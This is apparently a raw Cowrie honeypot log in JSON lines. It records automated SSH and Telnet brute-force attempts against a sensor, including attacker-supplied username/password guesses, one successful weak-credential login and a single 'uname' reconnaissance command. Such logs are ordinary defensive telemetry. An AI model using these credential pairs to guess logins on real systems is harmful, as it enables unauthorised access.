{"eventid":"cowrie.login.failed","username":"root","password":"19931993","message":"login attempt [root/19931993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:21.293871Z","src_ip":"103.75.183.219","session":"45d3a7508e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:22.541109Z","src_ip":"103.75.183.219","session":"45d3a7508e2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51792,"dst_ip":"10.17.0.5","dst_port":23,"session":"edb2bcc0a2ae","protocol":"telnet","message":"New connection: 152.42.224.71:51792 (10.17.0.5:23) [session: edb2bcc0a2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:22.757198Z"}
{"eventid":"cowrie.session.closed","duration":51.529492139816284,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:22.979866Z","src_ip":"152.42.224.71","session":"537d2809d146","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.34920358657837,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:23.398616Z","src_ip":"152.42.224.71","session":"e86cf1b5b3e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":50874,"dst_ip":"10.17.0.5","dst_port":22,"session":"49a81f0f0bf4","protocol":"ssh","message":"New connection: 109.172.54.111:50874 (10.17.0.5:22) [session: 49a81f0f0bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:25.020975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:25.025965Z","src_ip":"109.172.54.111","session":"49a81f0f0bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:25.127951Z","src_ip":"109.172.54.111","session":"49a81f0f0bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1x2c3v4","message":"login attempt [root/z1x2c3v4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:25.415807Z","src_ip":"109.172.54.111","session":"49a81f0f0bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:26.519315Z","src_ip":"109.172.54.111","session":"49a81f0f0bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.0993568897247314,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:28.856407Z","src_ip":"152.42.224.71","session":"edb2bcc0a2ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":56092,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7146954d9bd","protocol":"ssh","message":"New connection: 194.113.233.25:56092 (10.17.0.5:22) [session: a7146954d9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:30.485704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:30.516438Z","src_ip":"194.113.233.25","session":"a7146954d9bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0014533996582,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:30.622524Z","src_ip":"152.42.224.71","session":"a0cc4f4c3b6c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:30.663938Z","src_ip":"194.113.233.25","session":"a7146954d9bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59772,"dst_ip":"159.203.135.109","dst_port":22,"session":"f83bd60abe5d","protocol":"ssh","message":"New connection: 31.40.204.166:59772 (159.203.135.109:22) [session: f83bd60abe5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:30.785610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:30.800966Z","src_ip":"31.40.204.166","session":"f83bd60abe5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:31.004306Z","src_ip":"31.40.204.166","session":"f83bd60abe5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maks","message":"login attempt [root/maks] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:31.016911Z","src_ip":"194.113.233.25","session":"a7146954d9bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:31.597275Z","src_ip":"31.40.204.166","session":"f83bd60abe5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:32.115552Z","src_ip":"194.113.233.25","session":"a7146954d9bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:32.720376Z","src_ip":"31.40.204.166","session":"f83bd60abe5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.428878784179688,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:37.034162Z","src_ip":"152.42.224.71","session":"ffdad3f12916","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":38414,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a17bb100f0f","protocol":"ssh","message":"New connection: 94.230.136.33:38414 (159.203.135.109:22) [session: 2a17bb100f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:39.246081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:39.251112Z","src_ip":"94.230.136.33","session":"2a17bb100f0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:39.398416Z","src_ip":"94.230.136.33","session":"2a17bb100f0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"senha","message":"login attempt [root/senha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:40.016407Z","src_ip":"94.230.136.33","session":"2a17bb100f0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44524,"dst_ip":"10.17.0.5","dst_port":23,"session":"49bbccacf407","protocol":"telnet","message":"New connection: 152.42.224.71:44524 (10.17.0.5:23) [session: 49bbccacf407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:40.176342Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:41.165808Z","src_ip":"94.230.136.33","session":"2a17bb100f0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44528,"dst_ip":"10.17.0.5","dst_port":23,"session":"533ddef15464","protocol":"telnet","message":"New connection: 152.42.224.71:44528 (10.17.0.5:23) [session: 533ddef15464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:42.191721Z"}
{"eventid":"cowrie.session.closed","duration":47.334211587905884,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:42.792989Z","src_ip":"152.42.224.71","session":"3740bb335eff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44542,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b46d88f3102","protocol":"telnet","message":"New connection: 152.42.224.71:44542 (10.17.0.5:23) [session: 3b46d88f3102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:43.122846Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59720,"dst_ip":"159.203.135.109","dst_port":22,"session":"2996693f69e4","protocol":"ssh","message":"New connection: 31.40.204.166:59720 (159.203.135.109:22) [session: 2996693f69e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:43.786376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:43.794556Z","src_ip":"31.40.204.166","session":"2996693f69e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:43.909260Z","src_ip":"31.40.204.166","session":"2996693f69e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.83646154403687,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:44.134904Z","src_ip":"152.42.224.71","session":"b3baf333423c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:44.489460Z","src_ip":"31.40.204.166","session":"2996693f69e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:45.613253Z","src_ip":"31.40.204.166","session":"2996693f69e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40640,"dst_ip":"10.17.0.5","dst_port":23,"session":"4520e60667be","protocol":"telnet","message":"New connection: 152.42.224.71:40640 (10.17.0.5:23) [session: 4520e60667be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:48.316606Z"}
{"eventid":"cowrie.session.closed","duration":48.990933418273926,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:50.134564Z","src_ip":"152.42.224.71","session":"2c3403d6f6f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.5744731426239,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:51.712906Z","src_ip":"152.42.224.71","session":"75f555383901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0034282207489,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:54.377249Z","src_ip":"152.42.224.71","session":"e4810e82f016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40644,"dst_ip":"10.17.0.5","dst_port":23,"session":"4294a2808eef","protocol":"telnet","message":"New connection: 152.42.224.71:40644 (10.17.0.5:23) [session: 4294a2808eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:55.488002Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60686,"dst_ip":"159.203.135.109","dst_port":22,"session":"985f18cd6a72","protocol":"ssh","message":"New connection: 31.40.204.166:60686 (159.203.135.109:22) [session: 985f18cd6a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:56.723859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:56.729265Z","src_ip":"31.40.204.166","session":"985f18cd6a72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:56.892055Z","src_ip":"31.40.204.166","session":"985f18cd6a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.7617928981781,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:57.078301Z","src_ip":"152.42.224.71","session":"4520e60667be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.081199407577515,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:57.213128Z","src_ip":"152.42.224.71","session":"3a3579e3f65d","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:57.319215Z","src_ip":"31.40.204.166","session":"985f18cd6a72","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:57.723975Z","src_ip":"31.40.204.166","session":"985f18cd6a72","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:57.727600Z","src_ip":"31.40.204.166","session":"985f18cd6a72","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:57.898850Z","src_ip":"31.40.204.166","session":"985f18cd6a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:57.902863Z","src_ip":"31.40.204.166","session":"985f18cd6a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57030,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3d015b2533b","protocol":"telnet","message":"New connection: 152.42.224.71:57030 (10.17.0.5:23) [session: b3d015b2533b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:57.988202Z"}
